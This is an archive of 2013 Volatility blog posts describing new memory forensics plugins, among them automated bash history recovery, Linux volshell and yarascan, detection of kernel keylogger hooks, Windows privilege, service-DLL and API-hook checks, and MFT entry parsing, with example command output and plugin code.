Friday, May 31, 2013

Automated Volatility Plugin Generation with Dalvik Inspector

Last month we covered new capabilities developed by 504ensics Labs that allowed for analysis of Dalvik instances within Volatility. This included a set of plugins as well as a GUI to explore the classes loaded into memory. We are writing an updated post as the GUI now contains the ability to automatically generate Volatility plugins that target interesting classes and members. Once generated, this plugin can be used in any investigation involving the class(es) of interest. Not only is this useful for malware-specific information, but can also target standard Dalvik classes such as those for networking (IP addresses, ports), file system activity, data structures, and much more.

The blog post by 504ensics explaining all the details can be found here.

MoVP II - 3.3 - Automated Linux/Android Bash History Scanning

Recovering bash command history from Linux and Android memory dumps just got a lot easier.

In previous releases of Volatility, extracting commands and the associated timestamps was possible, but with one caveat - you needed to know the offset into the /bin/bash binary where a pointer to the start of the command history list existed. As described in the linux_bash documentation, you could get the offset in a few ways - by using gdb on the live system or analyzing /bin/bash with IDA. Unfortunately, one of those ways requires live access to the victim machine (which you may not have) and the other requires reverse engineering experience.

Starting with Volatility 2.3, the linux_bash command doesn't need any help. It scans through the heap of bash processes and automatically finds command histories. This is a major enhancement to the plugin and brings it a lot closer to the practical world of memory forensics. You get a whole lot more by doing less.

Glancing Back 

Here's a look at the linux_bash output prior to Volatility 2.3. As you can see, the -H/--history-list argument is required.

$ python vol.py -f avgcoder.mem --profile=LinuxCentOS63x64 linux_bash --history-list= 0x6ed4a0 
Volatile Systems Volatility Framework 2.2_rc1
Command Time         Command
-------------------- -------
#1376083693          dmesg | head -50
#1376085088          df
#1376085110          dmesg | tail -50
#1376085118          sudo mount /dev/sda1 /mnt
#1376085122          cd /mnt

If the history list offset varies per system, and you need to know it in advance before analyzing a memory dump, what options do you have? As mentioned earlier, one way is to load /bin/bash in gdb and disassemble the history_list function.

mhl@ubuntu:~$ gdb /bin/bash 
GNU gdb (Ubuntu/Linaro 7.4-2012.02-0ubuntu2) 7.4-2012.02
[snip]
Reading symbols from /bin/bash...(no debugging symbols found)...done.

(gdb) disassemble history_list
Dump of assembler code for function history_list:
   0x00000000004a5030 <+0>:  mov    0x248469(%rip),%rax  # 0x6ed4a0
   0x00000000004a5037 <+7>:  retq   
End of assembler dump.

The number you see in the comment (0x6ed4a0) is the offset you pass to the plugin as the --history-list value. As previously stated, however, running gdb on a live system or reversing the binary in IDA is not always the optimal solution, especially for forensic investigators who don't have debugging and reverse engineering skills.

Moving Forward

Yesterday, we discussed the new Linux volshell command, which you can use when actively developing a new plugin or an extension/improvement to an existing plugin. For example, before we can scan for history commands we have to know what a history structure looks like. You can find out like this:

$ python vol.py -f avgcoder.mem --profile=LinuxCentOS63x64 linux_volshell
Volatile Systems Volatility Framework 2.3_alpha
Current context: process init, pid=1 DTB=0x366ec000
Welcome to volshell! Current memory image is:
To get help, type 'hh()'
>>> dt("_hist_entry")
'_hist_entry' (24 bytes)
0x0   : line              ['pointer', ['String', {'length': 1024}]]
0x8   : timestamp         ['pointer', ['String', {'length': 1024}]]
0x10  : data              ['pointer', ['void']]

What you see is a 24-byte structure with a member at offset 0 named line. This is a pointer to a string which is the actual command entered. Also there is a timestamp at offset 8, which is a rather unique - its a string of digits (representing epoch seconds) preceded by a pound/hash (#) character. If we knew, for example, that all commands entered started with a common value such as "sudo", we could easily scan memory for all instances of "sudo" and then print them. But alas, that's theoretical at best. We can, however, rely on the fact that all timestamps start with a # character and are followed by at least 10 digits (unless you're dealing with a memory dump from before 2001, which is highly unlikely).

So the plan of action becomes:

  1. Scan the heap of all running /bin/bash instances, or all processes period if --scan-all is supplied. The ---scan-all allows you to ignore the process name, in case an attacker copied a /bin/bash shell to /tmp/a and then entered commands. Furthermore, since we're only scanning the heap of the process, its much quicker than a whole process address space scan.
  2. Look for # characters in heap segments. With the address in process memory for each # character, do a second scan for pointers to that address elsewhere on the heap. The goal is to find the timestamp member of the _hist_entry structure. We're essentially linking up data with pointers to the data.
  3. With each potential timestamp, we subtract 8 bytes (since it exists at offset 8 of the structure). That should give us the base address of the _hist_entry. Now we can associate any other members of _hist_entry (in particular the line member) with the timestamp.
  4. Once the scan is finished, collect all _hist_entry structures and place them in chronological order by timestamp. Then report the results.

If you want to explore the steps from a code perspective, check out the source file here.

Getting More by Doing Less

Here's an example of the described algorithm in action. Notice we don't have to supply any parameters to the linux_bash plugin anymore:

$ python vol.py -f avgcoder.mem --profile=LinuxCentOS63x64 linux_bash
Volatile Systems Volatility Framework 2.3_alpha
Pid      Name         Command Time                   Command
-------- ------------ ------------------------------ -------
    2738 bash         2013-08-09 21:28:13 UTC+0000   dmesg | head -50
    2738 bash         2013-08-09 21:51:28 UTC+0000   df
    2738 bash         2013-08-09 21:51:50 UTC+0000   dmesg | tail -50
    2738 bash         2013-08-09 21:51:58 UTC+0000   sudo mount /dev/sda1 /mnt
[snip]

Important Reminders 

There are a few things you should note about the linux_bash plugins which aren't immediately obvious:

  • The plugin works flawlessly on Android memory dumps also
  • If you supply the -P/--printunalloc parameter, the plugin will print potentially unallocated entries (can be verbose)
  • Although the default mode is to use the brute force scanning approach, if you know the --history-list value, you can still supply it. The advantage with using the list head pointer is you see commands in exactly the same order they were entered by an attacker. The brute force scanning approach is a little different. Assuming multiple commands were entered within the same second, there's no way to determine which of those few commands were first.

Conclusion

Recovering commands and timestamps from memory dumps is one of the most powerful investigation techniques. What more could you ask for than the ability to figure out exactly what an attacker did on the machine? In the new Volatility 2.3 release, this task is even easier - it doesn't require any debugging or reversing and it now converts the epoch seconds to a human-readable timestamps (you can also set the timezone with the --tz option if you're generating timelines from artifacts in memory)

Thursday, May 30, 2013

MoVP II - 3.2 - Linux/Android Memory Forensics with Python and Yara

In this post we will describe the Linux volshell and yarascan plugins. In previous releases of Volatility, these plugins only supported Windows samples, but starting with 2.3 you can interactively explore your Linux memory dumps (from a Python shell) or scan process and kernel memory with Yara signatures. The plugins also work against Android memory dumps.

Linux Volshell 

To get the process started, simply run the "linux_volshell" plugin with no arguments.

# python vol.py --profile=LinuxMandriva2011x64 -f ~/mandriva.lime linux_volshell
Volatile Systems Volatility Framework 2.3_beta
Current context: process systemd, pid=1 DTB=0x106a3000
Welcome to volshell! Current memory image is:
file:///root/mandriva.lime
To get help, type 'hh()'
>>>


This drops you into a Python shell. At this point you have full access to the Volatility namespace as well as all of Python. If you type hh() you are given a help menu which displays the volshell-specific plugins:

>>> hh()
Use self.addrspace for Kernel/Virtual AS
Use self.addrspace.base for Physical AS
Use self.proc to get the current _EPROCESS object
  and self.proc.get_process_address_space() for the current process AS
  and self.proc.get_load_modules() for the current process DLLs

cc(offset=None, pid=None, name=None)     : Change current shell context.
db(address, length=128, space=None)      : Print bytes as canonical hexdump.
dd(address, length=128, space=None)      : Print dwords at address.
dis(address, length=128, space=None, mode=None) : Disassemble code at a given address.
dq(address, length=128, space=None)      : Print qwords at address.
dt(objct, address=None, space=None)      : Describe an object or show type info.
hh(cmd=None)                             : Get help on a command.
list_entry(head, objname, offset=-1, fieldname=None, forward=True) : Traverse a _LIST_ENTRY.
modules()                                : Print a module listing.
ps()                                     : Print a process listing.
sc()                                     : Show the current context.

For help on a specific command, type 'hh(<command>)'


When you first enter volshell you are in the context of PID 1 which is generally init or "systemd", the process which spawns all other processes. At this point, self.proc is instanitated to the task struct for this process:

>>> self.proc
[task_struct task_struct] @ 0xFFFF8800159B8000
>>> self.proc.pid
 [int]: 1

>>> str(self.proc.comm)
'systemd'


if we want to change to another process, we must use the cc() command:

>>> cc(pid=7326)
Current context: process insmod, pid=7326 DTB=0x176a4000
>>> self.proc.pid, str(self.proc.comm)
( [int]: 7326, 'insmod')


If we want to read from the address space of a process, we can use the db, dd, and dq commands:

>>> db(self.proc.comm.obj_offset)
0xffff880001cac848  69 6e 73 6d 6f 64 00 00 00 00 00 00 00 00 00 00   insmod..........
0xffff880001cac858  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xffff880001cac868  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xffff880001cac878  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xffff880001cac888  00 40 2f 11 00 88 ff ff 38 38 2f 11 00 88 ff ff   .@/.....88/.....
0xffff880001cac898  e8 a5 ab c1 ff 7f 00 00 00 00 00 00 00 00 00 00   ................
0xffff880001cac8a8  00 57 f6 ba 5a 7f 00 00 00 00 00 00 00 00 00 00   .W..Z...........
0xffff880001cac8b8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
>>> dd(self.proc.comm.obj_offset)
ffff880001cac848  6d736e69 0000646f 00000000 00000000
ffff880001cac858  00000000 00000000 00000000 00000000
ffff880001cac868  00000000 00000000 00000000 00000000
ffff880001cac878  00000000 00000000 00000000 00000000
ffff880001cac888  112f4000 ffff8800 112f3838 ffff8800
ffff880001cac898  c1aba5e8 00007fff 00000000 00000000
ffff880001cac8a8  baf65700 00007f5a 00000000 00000000
ffff880001cac8b8  00000000 00000000 00000000 00000000
>>> dq(self.proc.comm.obj_offset)
0xffff880001cac848 0x646f6d736e69
0xffff880001cac850 0x0
0xffff880001cac858 0x0
0xffff880001cac860 0x0
0xffff880001cac868 0x0
0xffff880001cac870 0x0
0xffff880001cac878 0x0
0xffff880001cac880 0x0
0xffff880001cac888 0xffff8800112f4000
0xffff880001cac890 0xffff8800112f3838
0xffff880001cac898 0x7fffc1aba5e8
0xffff880001cac8a0 0x0
0xffff880001cac8a8 0x7f5abaf65700
0xffff880001cac8b0 0x0
0xffff880001cac8b8 0x0
0xffff880001cac8c0 0x0


 We can also use the read() function of the address space to read arbitrary addresses and lengths. In this example we are reading the command line arguments to the insmod process:

>>> dq(self.proc.mm.arg_start, length=8)
0x7fffc1abb055 0x6c00646f6d736e69
>>> self.proc.get_process_address_space().read(0x7fffc1abb055, 79)
'insmod\x00lime-2.6.38.7-desktop-1mnb2.ko\x00path=/home/mhl/mandriva.lime format=lime\x00'


Volatility also provides conveniences functions, such as ps() and modules():

>>> ps()
Name             PID    Offset
systemd          1      0xffff8800159b8000
kthreadd         2      0xffff8800159b96b0
ksoftirqd/0      3      0xffff8800159bad60
kworker/u:0      5      0xffff8800159bdac0
migration/0      6      0xffff8800159e8000
cpuset           7      0xffff8800159e96b0
khelper          8      0xffff8800159ead60
netns            9      0xffff8800159ec410

[snip]
>>> modules()
lime                     8734
fuse                     71414
af_packet                21188
joydev                   10468
rfcomm                   67790
nfs                      310764
lockd                    79366
fscache                  61155
nfs_acl                  2725
auth_rpcgss              43775
sunrpc                   224700
sco                      17185

[snip]

For users wishing to explore data structures and potentially write their own plugins, the dt() command is very helpful. It can display data structures based on the current profile and also list the values of a particular instance.

>>> ps()
<snip>
insmod           7326   0xffff880001cac410
>>> dt("mm_struct")
'mm_struct' (864 bytes)
0x0   : mmap                           ['pointer', ['vm_area_struct']]
0x8   : mm_rb                          ['rb_root']

<snip>
0x120 : arg_start                      ['unsigned long']
0x128 : arg_end                        ['unsigned long']
0x130 : env_start                      ['unsigned long']
0x138 : env_end                        ['unsigned long'] >>> ts = obj.Object("task_struct", offset = 0xffff880001cac410, vm = self.addrspace)
>>> dt("mm_struct", ts.mm)

[CType mm_struct] @ 0xFFFF880010763B80
0x0   : mmap                           18446612132338969288
0x8   : mm_rb                          18446612132590402440
<snip>
0x120 : arg_start                      140736442642517
0x128 : arg_end                        140736442642596
0x130 : env_start                      140736442642596
0x138 : env_end                        140736442646507


Linux Yarascan

The yarascan plugin allows for searching of physical memory, the kernel AS, or the AS of any process for everything from simple strings to complex yara rules.

If we search for insmod inside of its parent bash process, we find many copies of the invocation used to capture the memory dump and whose command line arguments we previously looked at in volshell:

# python vol.py --profile=LinuxMandriva2011x64 -f ~/mandriva.lime linux_yarascan -Y insmod -p 7284
Volatile Systems Volatility Framework 2.3_beta
Task: bash pid 7284 rule r1 addr 0x10eded0
0x010eded0  69 6e 73 6d 6f 64 20 6c 69 6d 65 2d 32 2e 36 2e   insmod.lime-2.6.
0x010edee0  33 38 2e 37 2d 64 65 73 6b 74 6f 70 2d 31 6d 6e   38.7-desktop-1mn
0x010edef0  62 32 2e 6b 6f 20 22 70 61 74 68 3d 2f 68 6f 6d   b2.ko."path=/hom
0x010edf00  65 2f 6d 68 6c 2f 6d 61 6e 64 72 69 76 61 2e 6c   e/mhl/mandriva.l


Additionally, if we search the firefox process for "http://", we find many references to LiME, which was the tool downloaded to capture memory:

# python vol.py --profile=LinuxMandriva2011x64 -f ~/mandriva.lime linux_yarascan -p 6977 -Y "http://"
Task: firefox-bin pid 6977 rule r1 addr 0x7f1824b72bfc
0x7f1824b72bfc  68 74 74 70 3a 2f 2f 6c 69 6d 65 2d 66 6f 72 65   http://lime-fore
0x7f1824b72c0c  6e 73 69 63 73 2e 67 6f 6f 67 6c 65 63 6f 64 65   nsics.googlecode
0x7f1824b72c1c  2e 63 6f 6d 2f 66 69 6c 65 73 2f 6c 69 6d 65 2d   .com/files/lime-
0x7f1824b72c2c  66 6f 72 65 6e 73 69 63 73 2d 31 2e 31 2d 72 31   forensics-1.1-r1


Conclusion

Hopefully you have enjoyed and learned from this post and can use it to enhance your own Linux investigations. In tomorrow's blog post we will learn about scanning for bash history in memory and how to recover such records along with their timestamps. If you have any questions or comments please leave a reply below or you can find us on Twitter - @volatility.

Wednesday, May 29, 2013

MoVP II - 3.1 - Linux CheckTTY & KeyboardNotifier Plugins

In this post we will discuss two new plugins in Volatility 2.3 that were contributed by Joe Sylve @jtsylve of 504ensics. These plugins are used to detect the two kernel-level keylogging techniques presented in "Bridging the Semantic Gap to Mitigate Kernel-level Keyloggers". Both of these techniques were previously not covered by Volatility.

The first plugin, linux_check_tty, works by validating the receive_buf function pointer for every active tty driver on the system. The reason rootkits target this function pointer is because it allows for recording of every keystroke typed. The function pointer is considered valid if it points to a function defined in the System.map file for the kernel. If the pointer is not valid then "HOOKED" is printed instead of the function name. The following shows the output of the plugin on a clean system:

# python vol.py -f centos.lime --profile=LinuxCentos63Newx64 linux_check_tty
Volatile Systems Volatility Framework 2.3_alpha
 Name            Address            Symbol
---------------- ------------------ ------------------------------
tty1             0xffffffff8131a0b0 n_tty_receive_buf
tty2             0xffffffff8131a0b0 n_tty_receive_buf
tty3             0xffffffff8131a0b0 n_tty_receive_buf
tty4             0xffffffff8131a0b0 n_tty_receive_buf
tty5             0xffffffff8131a0b0 n_tty_receive_buf
tty6             0xffffffff8131a0b0 n_tty_receive_buf
 
The second plugin, linux_keyboard_notifier, walks the keyboard_notifier_list and validates that each
notifier pointers within the System.map of the kernel. Hooking of this callback allows for the rootkit
to receive every keystroke entered by the user. 

The linux_keyboard_notifier plugin uses a number of functions in the Linux API, and is a good example to study this API. If we were to remove the header information, we would see that the plugin is only around 45 lines of code.

The first function in the process, calculate, starts by using the get_symbol call of the Linux profile to retrieve the  address of keyboard_notifier_list for the particular kernel version:

 knl_addr = self.addr_space.profile.get_symbol("keyboard_notifier_list")  
 if not knl_addr:  
       debug.error("Symbol keyboard_notifier_list not found in kernel")  


It then instantiates the symbol as its type within the kernel,  atomic_notifier_head. To walk the list of notifers, the walk_internal_list function is used:
 

 knl = obj.Object("atomic_notifier_head", offset = knl_addr, vm = self.addr_space)  
 for callback in linux_common.walk_internal_list("notifier_block", "next", knl.head):  
    yield callback.notifier_call  
 
This function takes the type of each list element ("notifier_block"), the pointer to the next element in the list ("next"), and the start of the list (knl.head). It then enumerates each element of the list and instantiates it as the given type. The plugin yields the notifier_call pointer of each element.

If we look at the C definition of notifier_block (include/linux/notifier.h), we see that its 'next' member is of type notifier_block, which we use to walk the list, and that it has a notifier_call member that pointers to the call back function. These are the members used by the previous code snippet:

 struct notifier_block {  
   int (*notifier_call)(struct notifier_block *, unsigned long, void *);  
   struct notifier_block *next;  
   int priority;  
 };  

Studying the render_text function shows how to validate each notifier_call pointer:
 
if symbol_cache.has_key(call_addr):  
    sym_name = symbol_cache[call_addr]  
else:  
    sym_name = self.profile.get_symbol_by_address("kernel", call_addr)  
    if not sym_name:  
        sym_name = "HOOKED"  
    symbol_cache[call_addr] = sym_name 
self.table_row(outfd, call_addr, sym_name)  
 
This code snippet relies on the get_symbol_by_address function of the profile to validate that each callback pointer is within the kernel. It then builds a  cache of addresses seen to save time while examining many callbacks. The  self.table_row function is used to print the results of each lookup to the terminal.

As can be seen, the Linux Volatility API provides a number of useful features that many plugins
leverage for convenience and code cleanliness. Developers wishing to create Linux plugins should
study volatility/plugins/linux/common.py and volatility/plugins/overlays/linux.py. Both of these
contains pieces of the API and can greatly enhance the efficiency of Linux memory forensics research.

Tuesday, May 28, 2013

MoVP II - 2.5 - New and Improved Windows Plugins

The Volatility 2.3 release will include several new and improved Windows plugins. This post will summarize their purpose, point you to additional information if they've been mentioned in previous blog posts, and show example usage scenarios for the plugins.

Process Privileges

In his Open Memory Forensic Workshop 2012 presentation "The Analysis of Process Token Privileges", Cem Gurkok (@CGurkok) discussed a plugin for Volatility that shows which privileges are enabled in each process. This can be useful for a number of reasons, including detecting code-injecting malware (SeDebugPrivilege) and kernel rootkits (SeLoadDriverPrivilege) in addition to scanning for Token related DKOM (see Cesar Cerrudo's Easy Local Windows Kernel Exploitation).

As shown below, the privs plugin tells you which privileges are present in the process's token, which have been enabled, and which were enabled by default. If any privileges are enabled by not enabled by default, you know they were explicitly set (usually through the AdjustPrivilegeToken API). If any privileges are enabled but not present, that's a strong indicator of DKOM.

$ python vol.py -f mem.dmp privs -p 1096 

[snip]

1096 explorer.exe         23 SeChangeNotifyPrivilege              Present,Enabled,Default  Receive notifications of changes to files or directories
1096 explorer.exe         19 SeShutdownPrivilege                  Present                  Shut down the system
1096 explorer.exe         25 SeUndockPrivilege                    Present,Enabled          Remove computer from docking station
1096 explorer.exe          8 SeSecurityPrivilege                  Present                  Manage auditing and security log
1096 explorer.exe         17 SeBackupPrivilege                    Present                  Backup files and directories
1096 explorer.exe         18 SeRestorePrivilege                   Present                  Restore files and directories
1096 explorer.exe         12 SeSystemtimePrivilege                Present                  Change the system time
1096 explorer.exe         24 SeRemoteShutdownPrivilege            Present                  Force shutdown from a remote system
1096 explorer.exe          9 SeTakeOwnershipPrivilege             Present                  Take ownership of files/objects
1096 explorer.exe         20 SeDebugPrivilege                     Present,Enabled          Debug programs
1096 explorer.exe         22 SeSystemEnvironmentPrivilege         Present                  Edit firmware environment values
1096 explorer.exe         11 SeSystemProfilePrivilege             Present                  Profile system performance
1096 explorer.exe         13 SeProfileSingleProcessPrivilege      Present                  Profile a single process
1096 explorer.exe         14 SeIncreaseBasePriorityPrivilege      Present                  Increase scheduling priority
1096 explorer.exe         10 SeLoadDriverPrivilege                Present,Enabled          Load and unload device drivers
1096 explorer.exe         15 SeCreatePagefilePrivilege            Present                  Create a pagefile

Internet Explorer History

The iehistory plugin was introduced on this blog a while back - see HowTo: Scan for Internet Cache/History and URLs. Since then, it has been used in various investigations and from what we hear - rather successfully. Although this plugin has been available in Volatility's development branch for a while, it makes its first major release debut in 2.3.

Service DLLs

A Windows service of type SERVICE_WIN32_SHARE_PROCESS is essentially a DLL that runs inside a shared host process (svchost.exe). This is a commonly used persistence mechanism among malicious code (see How malware hides and is installed as a service).

Volatility's svcscan plugin scans for and reports on service record structures found in the memory of the service control manager (services.exe). In previous releases it only identified the driver name (i.e. \Driver\Tcpip) if the service was for a kernel driver, or it showed the path to an executable file if the service was a standalone or shared process. Starting with Volatility 2.3, you can also now query for the service DLL when you provide the --verbose argument to svcscan.

Here's an example of the output.

$ python vol.py -f mem.dmp svcscan -p 1096

[snip]

Offset: 0x383c90
Order: 55
Process ID: 1024
Service Name: ERSvc
Display Name: Error Reporting Service
Service Type: SERVICE_WIN32_SHARE_PROCESS
Service State: SERVICE_RUNNING
Binary Path: C:\WINDOWS\System32\svchost.exe -k netsvcs
ServiceDll: %SystemRoot%\System32\ersvc.dll

As you can see, by supplying --verbose, you not only see svchost.exe, but the full path on disk to ersvc.dll is included. The full path to the DLL comes from the registry. Assuming malware overwrote the registry key's value and changed the path to ersvc.dll (pointing it at a malicious DLL), you would be better equipped to detect and respond to this behavior.

Cached Files

The dumpfiles plugin that we introduced previously (see Cache Rules Everything Around Me(Mory)) will make its debut release in Volatility 2.3. This will be one of the more useful plugins you've ever experienced - with the ability to extract cached files from all Windows memory dumps, including raw registry hives, executables, and documents.

Duqu Style API Hooks

Volatility's apihooks plugin can detect IAT hooks, EAT hooks, Inline hooks, and various others. In the category of inline hooks (also referred to as detours or trampoline hooks), we look for changes of the function prologue - specifically ones that CALL or JMP to another module or unknown code location. Since we don't emulate code, subtle changes in assembly instructions or uncommon sequences of instructions can evade the hook detection engine. Duqu, often referred to as a cousin of Stuxnet, used a simple technique of moving the hook address into a register and then jumping to the register. For example:

MOV EAX, ADDRESS
JMP EAX

It's nothing special per se, but previously we didn't check for this type of instruction combination. Starting with Volatility 2.3, we now include checks for this type of memory modification. Here's an example:

$ python vol.py -f duqu.dmp apihooks -p 1176 --quick

Hook mode: Usermode
Hook type: Inline/Trampoline
Process: 1176 (lsass.exe)
Victim module: ntdll.dll (0x7c900000 - 0x7c9af000)
Function: ntdll.dll!ZwQuerySection at 0x7c90d8b0
Hook address: 0x980a02
Hooking module: 

Disassembly(0):
0x7c90d8b0 b8020a9800       MOV EAX, 0x980a02
0x7c90d8b5 ffe0             JMP EAX
0x7c90d8b7 03fe             ADD EDI, ESI
0x7c90d8b9 7fff             JG 0x7c90d8ba
0x7c90d8bb 12c2             ADC AL, DL
0x7c90d8bd 1400             ADC AL, 0x0
0x7c90d8bf 90               NOP
0x7c90d8c0 b8a8000000       MOV EAX, 0xa8

Conclusion

Although the main objective(s) for the 2.3 release were Mac OSX and Linux/Android, we didn't want to neglect Windows. Thus, this post summarizes a few of the interesting new and improved plugins for Windows systems.

Friday, May 24, 2013

MoVP II - 2.4 - Reconstructing Master File Table (MFT) Entries

Today's blogpost will cover the new mftparser plugin for Volatility. As we demonstrated in the GRRCon Challenge writeup, this plugin can come in quite handy in an investigation and also played a small part in the last MoVP blogpost.

Why This Plugin Was Created

During an investigation some time back, I realized that Master File Table (MFT) entries resided in memory when I found strings in memory that contained filenames of interest. Examination of these strings showed that they were MFT entries. Parsing them by hand or dumping the raw entries and parsing them with analyzeMFT.py or other tools proved useful in some instances. Several investigations since, I have recovered entries relevant to an investigation. As much fun as it is to parse or dump these manually, it made sense to write a plugin to automate much of the hard work.

Methodology

Reading Brian Carrier's book "File System Forensic Analysis" [1] is essential for understanding the structures of the NTFS filesystem and this resource was heavily used in the making of this plugin. There are structures (vtypes) defined in the plugin for several of the MFT attributes, including those that are not yet supported. We will cover some supported attributes in this blogpost.

In order to find something in a memory sample, you must either know where it normally resides in memory or what defining features it has so that you may compose a signature to scan for it. So what does an MFT entry "look like"? Lets look at a typical entry below

001d000: 4649 4c45 3000 0300 3887 df01 0000 0000  FILE0...8.......
001d010: 1300 0100 3800 0100 5801 0000 0004 0000  ....8...X.......
001d020: 0000 0000 0000 0000 0400 0000 bc2c 0000  .............,..
001d030: 0800 0000 0000 0000 1000 0000 6000 0000  ............`...
001d040: 0000 0000 0000 0000 4800 0000 1800 0000  ........H.......
001d050: f843 fc35 96b6 ca01 003d 1c95 3d1e c301  .C.5.....=..=...
001d060: beab df3d 96b6 ca01 329e 043a 96b6 ca01  ...=....2..:....
001d070: 2100 0000 0000 0000 0000 0000 0000 0000  !...............
001d080: 0000 0000 7301 0000 0000 0000 0000 0000  ....s...........
001d090: 0000 0000 0000 0000 3000 0000 7000 0000  ........0...p...
001d0a0: 0000 0000 0000 0200 5400 0000 1800 0100  ........T.......
001d0b0: ae2c 0000 0000 0100 f843 fc35 96b6 ca01  .,.......C.5....
001d0c0: f843 fc35 96b6 ca01 f843 fc35 96b6 ca01  .C.5.....C.5....
001d0d0: f843 fc35 96b6 ca01 0000 0000 0000 0000  .C.5............
001d0e0: 0000 0000 0000 0000 2000 0000 0000 0000  ........ .......
001d0f0: 0903 5300 6500 7400 7500 7000 2e00 6900  ..S.e.t.u.p...i.
001d100: 6e00 6900 0000 0000 8000 0000 4800 0000  n.i.........H...
001d110: 0100 0000 0000 0300 0000 0000 0000 0000  ................
001d120: 0000 0000 0000 0000 4000 0000 0000 0000  ........@.......
001d130: 0010 0000 0000 0000 7604 0000 0000 0000  ........v.......
001d140: 7604 0000 0000 0000 3101 3906 1400 0100  v.......1.9.....
001d150: ffff ffff 8279 4711 0000 0000 0000 0000  .....yG.........

MFT entries begin with one of two signatures: "FILE" or "BAAD". Normal entries start with the "FILE" signature and entries with errors have the "BAAD" signature [1]. Therefore, these are signatures that we want to use for scanning in memory. For this plugin we will choose a "physical" scan because some entries may not be actively used in memory. So let's set up the scanner:

 1 class MFTScanner(scan.BaseScanner):
 2    checks = [ ] 
 3
 4    def __init__(self, needles = None):
 5        self.needles = needles
 6        self.checks = [ ("MultiStringFinderCheck", {'needles':needles})]
 7        scan.BaseScanner.__init__(self)
 8
 9    def scan(self, address_space, offset = 0, maxlen = None):
10        for offset in scan.BaseScanner.scan(self, address_space, offset, maxlen):
11            yield offset
12
13
14 class MFTParser(common.AbstractWindowsCommand):
15     """ Scans for and parses potential MFT entries """
16 [snip]
17
18     def calculate(self):
19         address_space = utils.load_as(self._config, astype = 'physical')
20         scanner = MFTScanner(needles = ['FILE', 'BAAD'])
   [snip]

In line (1) we see the declaration for our scanner (MFTScanner) and it inherits BaseScanner, which contains the guts for scanning in for items in memory. In line (4) we see the __init__ function which contains arguments to this class. Highlighted in red is needles which specifies the pattern that we are scanning for in memory. We see a reference to needles again on line (6), where these patterns are verified by the scanner. Lines 9-11 define the scan method, which searches through memory for the requested patterns and yields the physical offset (line 11) where the pattern is found if it passes the checks described in line (6). Lines 14+ define the MFTParser plugin and line (20) shows how the scanner is defined. You can see the needles definition: ['FILE', 'BAAD'].

MFT Entry

So now we have a mechanism for finding potential MFT entries, but what do we do once we find them? We need to know how to represent the MFT entry and its attributes. The structures for these are defined in [1] starting on page 353. First let's look at the entry in general. MFT entries are normally 1024 bytes, however the size (which is found in the boot sector) may differ ([1] page 276). The entry is comprised of the following:
  • An MFT Header
  • Attributes
    • Attribute Header
    • Attribute Content
  • Unused Space (possibly)
The MFT header contains information about the entry including the offset of the first attribute (highlighted in blue below), which we use as a starting point for parsing the entry's attributes. There are other items of interest, such as the Signature which should be either "FILE" or "BAAD", EntryUsedSize, EntryAllocatedSize, Flags and RecordNumber among others.

  1 'MFT_FILE_RECORD': [ 0x400, {
  2     'Signature': [ 0x0, ['unsigned int']],
  3     'FixupArrayOffset': [ 0x4, ['unsigned short']],
  4     'NumFixupEntries': [ 0x6, ['unsigned short']],
  5     'LSN': [ 0x8, ['unsigned long long']],
  6     'SequenceValue': [ 0x10, ['unsigned short']],
  7     'LinkCount': [ 0x12, ['unsigned short']],
  8     'FirstAttributeOffset': [0x14, ['unsigned short']],
  9     'Flags': [0x16, ['unsigned short']],
 10     'EntryUsedSize': [0x18, ['int']],
 11     'EntryAllocatedSize': [0x1c, ['unsigned int']],
 12     'FileRefBaseRecord': [0x20, ['unsigned long long']],
 13     'NextAttributeID': [0x28, ['unsigned short']],
 14     'RecordNumber': [0x2c, ['unsigned long']],
 15     'FixupArray': lambda x: obj.Object("Array", offset = x.obj_offset + x.FixupArrayOffset, count = x.NumFixupEntries, vm = x.obj_vm,
 16                                     target = obj.Curry(obj.Object, "unsigned short")),
 17     'ResidentAttributes': lambda x : obj.Object("RESIDENT_ATTRIBUTE", offset = x.obj_offset + x.FirstAttributeOffset, vm = x.obj_vm),
 18     'NonResidentAttributes': lambda x : obj.Object("NON_RESIDENT_ATTRIBUTE", offset = x.obj_offset + x.FirstAttributeOffset, vm = x.obj_vm),
 19  }],
As you may have noticed, I did not include the traditional "dt" output from the volshell plugin for this structure. This is because this command does not work for structures that do not have concrete definitions. In this case, lines 15-18 are the culprits. The offsets for these members are dependant upon values of other members. One thing that wasn't clear to me at first (as you can see in issue 138) was that the offset had to be the offset of the object itself plus the value of the member, for example offset = x.obj_offset + x.FixupArrayOffset from line (15) above. Since we don't know for sure if the first attribute is resident, we have a union of ResidentAttributes and NonResidentAttributes so we can pick the appropriate one.

Attributes

Attributes are containers for describing metadata of the MFT entry. They are either Resident or Non-resident. If the attrribute is Resident, then the content is contained in the MFT entry, otherwise if it is Non-resident then the content is stored in an external cluster on the system [1]. At this time Non-resident attributes are not processed by the plugin since not all pieces are guaranteed to be present in memory. Also there is no guaranteed method yet for searching for and piecing together these pieces even if they are memory resident. Consider how things work on the disk, where it is clear where the body lies:

MFT Entry

    +----+----+---------------+----+--------------------------------+
    |MMMM|AAAA|CCCCCCCCCCCCCCC|AAAA|UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU|
    +----+----+---------------+----+--------------------------------+
                                \    +-------+
                                 +---|cluster|
                                     | 809   |
                                     +-------+
M - MFT Header                         
A - Attribute Header            Figure from page 280 of [1]
C - Attribute Content
U - Unused space
In the awesome ASCII art figure above we can see that the content is found in cluster 809. To complicate things further, attribute contents can take up several clusters in "cluster runs" [1]. So the content can be scattered about on the filesystem, the key to piecing it together is found in the attribute headers. Finding a lone cluster in memory is not helpful since there is no known way to figure out to which file it might belong. Therefore files that have Non-resident $DATA attributes (most files) will not be content-recoverable from memory using an MFT entry. (One thing to note is that with the release of the new dumpfiles plugin, we have a way to obtain these files from memory).

Each attribute has a header, which tells you the Type of attribute, Length as well as if it is Resident or Non-Resident (NonResidentFlag):

>>> dt("ATTRIBUTE_HEADER")
'ATTRIBUTE_HEADER' (16 bytes)
0x0   : Type                           ['int']
0x4   : Length                         ['int']
0x8   : NonResidentFlag                ['unsigned char']
0x9   : NameLength                     ['unsigned char']
0xa   : NameOffset                     ['unsigned short']
0xc   : Flags                          ['unsigned short']
0xe   : AttributeID                    ['unsigned short']
